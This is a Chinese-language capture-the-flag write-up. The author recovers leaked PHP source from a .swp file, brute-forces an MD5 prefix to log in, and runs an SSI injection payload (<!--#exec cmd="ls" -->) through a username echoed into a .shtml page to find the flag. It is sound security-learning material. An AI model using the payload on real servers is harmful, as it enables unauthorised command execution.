目录
登录框。看一下源码没有东西然后抓包看头没有东西,看了一下题的名字,search?那就扫一下发现是.swp泄露,访问/index.php.swp发现源码
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
审一下,关键点在:
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6))
要密码MD5加密的前面是6d0bc1的密文,用python跑一下
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
print(a)
2020666 6d0bc1153791aa2b4e18b4f344f26ab4 2305004 6d0bc1ec71a9b814677b85e3ac9c3d40 9162671 6d0bc11ea877b37d694b38ba8a45b19c 51302775 6d0bc1a762d786e2f6ef20f705109f10 106531357 6d0bc1df6c5a457edcd96110a6f31606 129184799 6d0bc12c29dd6da1a9fefa3500d5c4ce 130150733 6d0bc1ae68929247c101271a618a615a 142933021 6d0bc1575d57b01504e7b87dcfbc72d3 149187642 6d0bc132fea1a08abf07106debfee751 192869488 6d0bc124485fad8723b83d2c8922125a 208023084 6d0bc182d7a606b989a3dc278d6e77db 208027520 6d0bc15f0b11d49315698e13041526c0 217103754 6d0bc1b806529d72406f3695f87f1d6a 221210184 6d0bc198539d8bb4464a1ff2643f949f 222678902 6d0bc10a683c85ffa1794d3a879e8cf7 224385291 6d0bc129ef0e340e59ec8c11465eba78 265766148 6d0bc1dc28dce97098e82dd0187f0f3d 295784242 6d0bc15d3483d8f2650a9ecffa8a02cf 354369023 6d0bc1787f2d5cd3b53ea0e378e8d2be 365718766 6d0bc1fca24050df15b53ba09a5f432b 413172293 6d0bc17ebbbac3fa2b0840e66d4e153f 419433490 6d0bc157a080e24b8b95d0d51b2bf833 433348712 6d0bc152be7cb6d07199bfdc6f155289 472457005 6d0bc1f5d916b82eab146d962676afec 476588998 6d0bc1357dc4d72b8263ee2c75131162 512425617 6d0bc1e275dec630239ab1adf8840aca
选一个做密码可以登录
除了弹窗啥也没有,哎?不是!有个小字在左上角[!] Header error ...
抓包呗
抓到了这个小子,shtml!!!shtml有注入
SSI注入漏洞
简介
SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
一个存在反射型XSS漏洞的页面,如果输入的payload不是XSS代码而是SSI的标签,同时服务器又开启了对SSI的支持的话就会存在SSI漏洞。
SSI注入条件
-
Web 应用程序在返回响应的HTML页面时,嵌入了用户输入
-
Web 应用程序未对相关SSI关键字做过滤
-
Web 服务器已支持SSI(服务器端包含)
利用方式
<!--#exec cmd="命令" -->
<! #include file="文件名称"–>
这个题要用到的payload是
<!--#exec cmd="ls" -->
然后得到:
访问一个
得到flag的名称,那就访问一下就得到flag啦!
债见!
感谢BUU提供优质题,感谢勤劳的自己!